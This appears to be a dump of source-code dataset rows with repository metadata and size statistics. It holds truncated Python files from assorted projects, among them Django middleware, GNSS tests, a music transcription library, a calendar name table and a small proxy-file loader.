] | 3 | 2019-11-17T19:31:13.000Z | 2019-11-21T11:59:18.000Z | import asyncio
import threading
from .connection import MixerConnection
from .utils import get_channel_id
from chatrooms import lock
class MixerThread(threading.Thread):
def __init__(self, **kwargs):
super().__init__()
self.channel_id = get_channel_id(kwargs.pop("channel_name"))
self.mixer... | 30.676471 | 84 | 0.628955 | 908 | 0.870566 | 0 | 0 | 288 | 0.276127 | 0 | 0 | 145 | 0.139022 |
a25bec9b2e01804b38b6f619f80dd7f9ad6e8b87 | 44 | py | Python | test/py.py | PhilipDeegan/mkn | 399dd01990e130c4deeb0c2800204836d3875ae9 | [
"BSD-3-Clause"
] | 61 | 2015-02-05T07:43:13.000Z | 2020-05-19T13:26:50.000Z | test/py.py | mkn/mkn | a05b542497270def02200df6620804b89429259b | [
"BSD-3-Clause"
] | 29 | 2016-11-21T03:37:42.000Z | 2020-10-18T12:04:53.000Z | test/py.py | mkn/mkn | a05b542497270def02200df6620804b89429259b | [
"BSD-3-Clause"
] | 12 | 2016-01-05T05:35:29.000Z | 2020-03-15T11:03:37.000Z | #! /usr/bin/python3
print("HELLO PYTHON")
| 8.8 | 21 | 0.659091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 33 | 0.75 |
a25c1f80b839438c40bc8b1ec20e3dcbcc9d3fa1 | 181 | py | Python | proxy_config.py | Nou4r/YandexMail-Account-Creator | b65f24630d23c59dfb8d196f3efe5a222aa3e11a | [
"MIT"
] | 1 | 2021-11-23T05:28:16.000Z | 2021-11-23T05:28:16.000Z | proxy_config.py | Nou4r/YandexMail-Account-Creator | b65f24630d23c59dfb8d196f3efe5a222aa3e11a | [
"MIT"
] | null | null | null | proxy_config.py | Nou4r/YandexMail-Account-Creator | b65f24630d23c59dfb8d196f3efe5a222aa3e11a | [
"MIT"
] | null | null | null | try:
with open('proxies.txt', 'r') as file:
proxy = [ line.rstrip() for line in file.readlines()]
except FileNotFoundError:
raise Exception('Proxies.txt not found.') | 36.2 | 61 | 0.662983 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 40 | 0.220994 |
a25c2ec82a6c0af9fd73752dd6ceae9477f697d3 | 1,577 | py | Python | src/notifications/middleware.py | MAE776569/project-manager | 986a1a8b84950da81e98125d70ae3ef380e96e54 | [
"Apache-2.0"
] | null | null | null | src/notifications/middleware.py | MAE776569/project-manager | 986a1a8b84950da81e98125d70ae3ef380e96e54 | [
"Apache-2.0"
] | 7 | 2020-03-24T17:08:34.000Z | 2022-02-10T09:50:00.000Z | src/notifications/middleware.py | MAE776569/project-manager | 986a1a8b84950da81e98125d70ae3ef380e96e54 | [
"Apache-2.0"
] | null | null | null | from .models import NotificationManager
from django.utils.deprecation import MiddlewareMixin
class NotificationMiddleware(MiddlewareMixin):
def process_request(self, request):
if request.user.is_authenticated:
notif_id = request.GET.get('notif_id', None)
ref = request.GET.get('ref'... | 41.5 | 83 | 0.616994 | 1,482 | 0.939759 | 0 | 0 | 0 | 0 | 0 | 0 | 554 | 0.3513 |
a25c6100f9d37d3d232cbc72e44c946c286a4444 | 5,167 | py | Python | tests/test_prns.py | mfkiwl/laika-gnss | dc38f251dbc7ebb535a3c220de8424634d297248 | [
"MIT"
] | 365 | 2018-12-17T07:43:34.000Z | 2022-03-29T22:23:39.000Z | tests/test_prns.py | mfkiwl/laika-gnss | dc38f251dbc7ebb535a3c220de8424634d297248 | [
"MIT"
] | 36 | 2019-07-24T10:20:45.000Z | 2022-02-14T22:11:24.000Z | tests/test_prns.py | mfkiwl/laika-gnss | dc38f251dbc7ebb535a3c220de8424634d297248 | [
"MIT"
] | 156 | 2018-12-17T05:06:23.000Z | 2022-03-31T12:06:07.000Z | import unittest
from laika.helpers import get_constellation, get_prn_from_nmea_id, \
get_nmea_id_from_prn, NMEA_ID_RANGES
SBAS_DATA = [
['S01', 33],
['S02', 34],
['S10', 42],
['S22', 54],
['S23', 55],
['S32', 64],
['S33', 120],
['S64', 151],
['S65', 152... | 31.895062 | 75 | 0.587962 | 4,500 | 0.870912 | 0 | 0 | 0 | 0 | 0 | 0 | 1,001 | 0.193729 |
a25d0281cfcfe0d0eb9dbdd381ee04036b26239e | 29,969 | py | Python | amt_tools/transcribe.py | cwitkowitz/transcription-models | e8697d6969b074926ac55986bc02fa1aad04b471 | [
"MIT"
] | 4 | 2021-06-15T19:45:26.000Z | 2022-03-31T20:42:26.000Z | amt_tools/transcribe.py | cwitkowitz/transcription-models | e8697d6969b074926ac55986bc02fa1aad04b471 | [
"MIT"
] | null | null | null | amt_tools/transcribe.py | cwitkowitz/transcription-models | e8697d6969b074926ac55986bc02fa1aad04b471 | [
"MIT"
] | 1 | 2021-11-08T02:13:02.000Z | 2021-11-08T02:13:02.000Z | # Author: Frank Cwitkowitz <[email protected]>
# My imports
from . import tools
# Regular imports
from abc import abstractmethod
from copy import deepcopy
import numpy as np
import os
def filter_notes_by_duration(pitches, intervals, threshold=0.):
"""
Remove notes from a collection which have a dur... | 31.088174 | 118 | 0.622076 | 24,688 | 0.823785 | 0 | 0 | 1,929 | 0.064367 | 0 | 0 | 17,863 | 0.596049 |
a25d09e67ac4aff5540ba2b0f11ec21250507d36 | 121 | py | Python | ToDoApp/admin.py | aishabazylzhanova/ToDo | a787e57bf8ace5719d847d8fc4949d05a5d117c5 | [
"MIT"
] | null | null | null | ToDoApp/admin.py | aishabazylzhanova/ToDo | a787e57bf8ace5719d847d8fc4949d05a5d117c5 | [
"MIT"
] | null | null | null | ToDoApp/admin.py | aishabazylzhanova/ToDo | a787e57bf8ace5719d847d8fc4949d05a5d117c5 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Tasks
admin.site.register(Tasks)
# Register your models here.
| 20.166667 | 33 | 0.768595 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 29 | 0.239669 |
a25efb76b91de6c5a6535d8621723808a44381dd | 8,046 | py | Python | dilami_calendar/constants.py | Jangal/python-deylami-calendar | 65b4a36ea6d9cba71b7086b3c488fd6842ead687 | [
"MIT"
] | 12 | 2019-08-05T19:11:24.000Z | 2021-11-17T03:52:12.000Z | dilami_calendar/constants.py | Jangal/python-dilami-calendar | 65b4a36ea6d9cba71b7086b3c488fd6842ead687 | [
"MIT"
] | 2 | 2019-08-03T05:42:02.000Z | 2021-12-01T07:34:26.000Z | dilami_calendar/constants.py | Jangal/python-dilami-calendar | 65b4a36ea6d9cba71b7086b3c488fd6842ead687 | [
"MIT"
] | null | null | null | DILAMI_WEEKDAY_NAMES = {
0: "شمبه",
1: "یکشمبه",
2: "دۊشمبه",
3: "سۊشمبه",
4: "چارشمبه",
5: "پئنشمبه",
6: "جۊمه",
}
DILAMI_MONTH_NAMES = {
0: "پنجيک",
1: "نؤرۊز ما",
2: "کۊرچ ٚ ما",
3: "أرئه ما",
4: "تیر ما",
5: "مۊردال ما",
6: "شریرما",
7: "أمیر ما",
8: ... | 10.007463 | 41 | 0.393239 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 377 | 0.046161 |
a25fceaa81b9a2397bbf59a5c9765ebd1d84a0d6 | 324 | py | Python | inputs/sineClock.py | hongaar/ringctl | 9e2adbdf16e85852019466e42be9d88a9e63cde5 | [
"MIT"
] | null | null | null | inputs/sineClock.py | hongaar/ringctl | 9e2adbdf16e85852019466e42be9d88a9e63cde5 | [
"MIT"
] | null | null | null | inputs/sineClock.py | hongaar/ringctl | 9e2adbdf16e85852019466e42be9d88a9e63cde5 | [
"MIT"
] | null | null | null | import math
from inputs.sine import Sine
from inputs.timeElapsed import TimeElapsed
from utils.number import Number
class SineClock(Number):
def __init__(self, sine: Sine):
self.__sine = sine
self.__elapsed = TimeElapsed()
def get(self):
return self.__sine.at_time(self.__elapsed.get(... | 20.25 | 56 | 0.70679 | 203 | 0.626543 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a26034218c90d245fe24941c0da299f8ed7dd85c | 667 | py | Python | config/urls.py | erik-sn/tagmap | 8131fac833cf4edd20ac3497377ec2145fa75bcc | [
"MIT"
] | null | null | null | config/urls.py | erik-sn/tagmap | 8131fac833cf4edd20ac3497377ec2145fa75bcc | [
"MIT"
] | null | null | null | config/urls.py | erik-sn/tagmap | 8131fac833cf4edd20ac3497377ec2145fa75bcc | [
"MIT"
] | null | null | null | from django.conf import settings
from django.conf.urls import url, include
from django.contrib import admin
from api.views import index
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^api/', include('api.urls')),
]
# troubleshooting tool
if settings.TOOLBAR:
import debug_toolbar
urlpatterns ... | 25.653846 | 57 | 0.706147 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 256 | 0.383808 |
a26076e09d7b45380034f14f9bab4f75147d9786 | 86 | py | Python | run.py | tdavislab/mapper-stitching | 09cb6949cea57ebece640b58ef5c449fb177db38 | [
"MIT"
] | 10 | 2019-06-12T01:18:44.000Z | 2021-12-19T16:12:08.000Z | run.py | tdavislab/mapper-stitching | 09cb6949cea57ebece640b58ef5c449fb177db38 | [
"MIT"
] | 7 | 2019-03-20T23:47:49.000Z | 2019-04-10T19:23:41.000Z | run.py | tdavislab/mapper-stitching | 09cb6949cea57ebece640b58ef5c449fb177db38 | [
"MIT"
] | 3 | 2020-10-16T04:30:09.000Z | 2021-03-16T18:45:33.000Z | #!flask/bin/python
from app import app
app.run(host='127.0.0.1',port=8080,debug=True)
| 21.5 | 46 | 0.732558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 29 | 0.337209 |
a26126e8b013a4ee9583aa03f98292063e236062 | 2,572 | py | Python | middleware.py | jaylett/django_audited_model | b7d45b2e325512861a0ef23e756a81bfdf3adaf7 | [
"MIT"
] | 1 | 2016-05-06T07:07:18.000Z | 2016-05-06T07:07:18.000Z | middleware.py | jaylett/django_audited_model | b7d45b2e325512861a0ef23e756a81bfdf3adaf7 | [
"MIT"
] | null | null | null | middleware.py | jaylett/django_audited_model | b7d45b2e325512861a0ef23e756a81bfdf3adaf7 | [
"MIT"
] | null | null | null | # Copyright (c) 2009 James Aylett <http://tartarus.org/james/computers/django/>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights... | 42.866667 | 104 | 0.734059 | 114 | 0.044323 | 0 | 0 | 0 | 0 | 0 | 0 | 1,545 | 0.6007 |
a261c4073b37f990b45a6d0c9e5cc17d54ee8a8f | 24,440 | py | Python | data_attributes.py | prise-3d/Thesis-NoiseDetection-metrics | b37b2a3e0601e8a879df12c9d88289b1ea43bbb1 | [
"MIT"
] | null | null | null | data_attributes.py | prise-3d/Thesis-NoiseDetection-metrics | b37b2a3e0601e8a879df12c9d88289b1ea43bbb1 | [
"MIT"
] | null | null | null | data_attributes.py | prise-3d/Thesis-NoiseDetection-metrics | b37b2a3e0601e8a879df12c9d88289b1ea43bbb1 | [
"MIT"
] | null | null | null | # main imports
import numpy as np
import sys
# image transform imports
from PIL import Image
from skimage import color
from sklearn.decomposition import FastICA
from sklearn.decomposition import IncrementalPCA
from sklearn.decomposition import TruncatedSVD
from numpy.linalg import svd as lin_svd
from scipy.signal impo... | 32.849462 | 103 | 0.627169 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,226 | 0.131997 |